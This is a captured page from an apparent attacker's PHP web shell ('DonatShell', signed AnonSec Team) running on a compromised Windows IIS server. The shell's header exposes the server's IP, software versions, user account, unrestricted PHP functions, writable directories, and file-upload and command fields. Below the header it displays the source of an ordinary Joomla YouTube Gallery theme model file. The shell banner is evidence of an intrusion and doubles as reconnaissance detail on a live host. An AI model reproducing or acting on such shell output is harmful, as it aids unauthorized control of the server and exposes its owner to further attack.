DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/app/webroot/news/administrator/components/com_youtubegallery/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/app/webroot/news/administrator/components/com_youtubegallery/models/themeform.php
<?php
/**
 * Youtube Gallery Joomla! 1.5 Native Component
 * @version 3.8.3
 * @author Design COmpass corp <support@joomlaboat.com>
 * @link http://www.joomlaboat.com
 * @GNU General Public License
 **/


// no direct access
defined('_JEXEC') or die('Restricted access');

// Import Joomla! libraries
jimport('joomla.application.component.model');

class YouTubeGalleryModelThemeForm extends JModel
{

	
    function __construct()
    {
		parent::__construct();
		$array = JRequest::getVar('cid',  0, '', 'array');

		$this->setId((int)$array[0]);
    }

	function setId($id)
	{
		// Set id and wipe data

		$this->_id	= $id;
		$this->_data	= null;
	}

	function &getData()
	{
		//echo 'fff='.$this->_id.'<br>';
		$row =& $this->getTable();
		$row->load( $this->_id );
		return $row;
	}

        
	function store()
	{
	    
	
		$row =& $this->getTable();
		
		// consume the post data with allow_html
		$data = JRequest::get( 'post',JREQUEST_ALLOWRAW);
		$post = array();

		if (!$row->bind($data))
		{
			return false;
		}

		// Make sure the  record is valid
		if (!$row->check())
		{
			return false;
		}


		// Store
		if (!$row->store())
		{
			return false;
		}


		return true;
	}


		
	function ConfirmRemove()
	{
		JRequest::setVar('hidemainmenu', true);
		JToolBarHelper::title(JText::_( 'Youtube Gallery - Delete Theme(s)' ));
		
		$cancellink='index.php?option=com_youtubegallery&controller=themelist';
		
		$cid	= JRequest::getVar( 'cid', array(), 'post', 'array' );
		$deletelink='index.php?option=com_youtubegallery&controller=themelist&task=remove_confirmed&cid[]='.implode('*',$cid);
		
		

		//Get Table Name
		$cids = JRequest::getVar( 'cid', array(0), 'post', 'array' );
		if (count( $cids ))
		{
			echo '<p style="font-size:20px;">Theme(s) ID: '.(count($cids)>1 ? implode(',',$cids) : $cids[0] ).'<br/><br/><a href="'.$cancellink.'">No. Cancel.</a></p>

		';
		
		//			<a href="'.$deletelink.'">Yes. I want to delete.</a>
		 echo '
            <form action="index.php?option=com_youtubegallery&controller=themelist" method="post" >
            <input type="hidden" name="task" value="remove_confirmed" />
            ';
            $i=0;
            foreach($cids as $cid)
            {
                echo '<input type="hidden" id="cid'.$i.'" name="cid[]" value="'.$cid.'">';
            }
            
            echo '
            <input type="submit" value="'.JText::_( 'Yes. I want to delete.' ).'" class="button" />
            </form>
		';
		
		
		}
		else
		{
			
			echo '<p><a href="'.$cancellink.'">Select items first</a></p>';
		}
		
		
		
		
		

		
		
	}
	function delete($cids)
	{
		$db = & JFactory::getDBO();
		
		$row =& $this->getTable();

		if (count( $cids ))
		{
			foreach($cids as $cid)
			{
						
				
				if (!$row->delete( $cid ))
				{
					return false;
				}
			}
		}
		
		
		
		return true;
	}
	

	function copyItem($cid, &$msg)
	{


	    $item =& $this->getTable();
	    
		
	    foreach( $cid as $id )
	    {
			
		
			$item->load( $id );
			if($item->readonly)
			{
				$msg='To copy imported Themes upgrade to PRO version';
				return false;
			}
			$item->id 	= NULL;
		
			$old_title=$item->themename;
			$new_title='Copy of '.$old_title;
		
			$item->themename 	= $new_title;
			

			if (!$item->check()) 
				return false;
			

			if (!$item->store()) 
				return false;
			
			$item->checkin();
				
	    }
		
	

	    return true;
	}
	

	

}

?>

Anon7 - 2022
AnonSec Team